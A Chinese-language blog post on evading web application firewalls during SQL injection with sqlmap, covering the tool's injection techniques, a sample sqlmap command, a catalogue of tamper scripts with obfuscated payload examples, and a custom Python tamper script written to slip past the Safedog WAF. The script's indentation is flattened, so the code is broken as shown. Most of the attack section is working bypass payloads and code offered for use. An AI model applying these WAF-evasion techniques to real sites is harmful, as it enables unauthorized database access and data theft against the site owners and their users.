注册 登录
  • 如果建筑工人像程序员写软件那样盖房子, 那第一只飞来的啄木鸟就能毁掉人类文明@Gerald Weinberg (软件工程大牛)

SQLMAP注入绕过WAF防火墙过滤

渗透技巧 BLGene 380次浏览 3813字 4个评论

SQLMAP注入绕过WAF防火墙过滤

每次注入看到安全狗提示的时候,内心都是崩溃的,都想直接放弃,难道它就真的是无法进行渗透的么?

waf简介

WAF(Web Application Firewall),即Web应用防护系统。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。正因为有了它,很多企业已经不注重web应用的漏洞,只是纯粹的利用waf拦截入侵,但是并不是所有waf是不可绕过的。本文讲的是利用注入神器SQLMAP绕过WAF防护机制。

sqlmap简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

waf绕过

sqlmap中的tamper给我们带来了很多防过滤的脚本,绕过的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测。当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、and等等。所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。

判断过滤

最简单直接的办法就是在url参数中手工带入关键词,判断是否被过滤。SQLMAP注入绕过WAF防火墙过滤

如图直接加单引号被过滤,说明不能用单引号进行注入了。同样可测试空格,=,select等,当sqlmap注入出现问题时,比如不出数据,或者被拦截,就要检查对应的关键词是否被过滤。

使用方法

sqlmap -u “http://127.0.0.1/test.php?id=1” -v 3 --batch --tamper “space2morehash.py”

下面来介绍几个比较常用的脚本:

  • space2mssqlblank.py(mssql)和space2mysqlblank.py(mysql)
    作用:将空格替换为其它空符号
    例如:
    * Input: SELECT id FROM users
    *Output: SELECT%08id%02FROM%0Fusers
  • randomcase.py
    作用:随机大小写
    例如:
    *Input: INSERT
    *Output: InsERt
  • randomcomments.py
    作用:用/**/分割sql关键字
    例如:
    *Input: 'INSERT' becomes
    *Output: 'IN//S//ERT'
  • versionedmorekeywords.py
    作用:注释绕过
    例如:
    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(11)
    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(11)
  • between.py
    作用:用between替换大于号(>)
    例如:
    * Input: '1 AND A > B--'
    * Output:'1 AND A NOT BETWEEN 0 AND B--'
  • greatest.py
    作用:绕过过滤’>’ ,用GREATEST替换大于号
    例如:
    * Input:'1 AND A > B'
    * Output: '1 AND GREATEST(A,B+1)=A'
  • space2hash.py
    作用:空格替换为#号,随机字符串,以及换行符
    例如:
    * Input: 1 AND 1=1
    * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A1=1
  • equaltolike.py
    作用:like 代替等号
    例如:
    * Input: SELECT * FROM users WHERE id=1
    * Output: SELECT * FROM users WHERE id LIKE 1
  • apostrophemask.py
    作用:用utf8代替引号
    例如:
    * Input:1 AND '1'='1
    * Output: 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  • chardoubleencode.py和charencode.py
    作用:url编码
    例如:
    * Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
  • base64encode.py
    作用:用base64编码替换
    例如:
    * Input: 1' AND SLEEP(5)#
    * Output: 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
  • charunicodeencode.py
    作用:字符串 unicode 编码
    例如:
    * Input: SELECT FIELD%20FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d
    如果web应用使用asp/asp.net开发,charunicodeencode可以有效的躲过Waf的检测。

 

当然,除了sqlmap自带的脚本之外,我们可以编写自己的脚本绕过waf检测

#!/usr/bin/env python               #此处代码可以直接从其他tamper复制粘贴过来

from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOW         #定义优先级,此处为级别为【一般】

def dependencies():                 #定义dependencies():此处是为了和整体脚本的结构保持一致。
pass                                #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性

def tamper(payload, **kwargs):      #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3}
"""
To bypass safedog
Replaces space character (' ') with plus ('/*|%20--%20|*/')      #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
>>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload                   #将payload赋值给 retVal ,以便中间转换。
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False             #定义这些符号参数,防止对后面的替换造成影响
for i in xrange(len(payload)):     #在攻击载荷中逐个进行判断操作。
if not firstspace:                 #如果攻击载荷的第一个字段是空格,则进行替换
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/"         #把空格( ) 替换成(/*|%20--%20|*/)
continue                           #继续进行判断操作
elif payload[i] == '\'':           #如果攻击载荷中有(\ ),则进行编码转换
quote = not quote
elif payload[i] == '"':            #如果攻击载荷中有(“ ),则进行编码转换
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:         #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote
retVal += "/*|%20--%20|*/"         #则进行编码转换
continue                           #继续执行
retVal += payload[i]               #得到重新组合的payload
return retVal

Windows下将其保存到C:\Python27\SQLMAP\tamper下,Kali保存到/usr/share/sqlmap/tamper下,启动sqlmap即可调用。

 


T1op|T1op.com , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明SQLMAP注入绕过WAF防火墙过滤
喜欢 (2)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(4)个小伙伴在吐槽
  1. 1
    !(()&&!|*|*|2017-09-12 11:03 回复
  2. 1
    12017-09-12 11:34 回复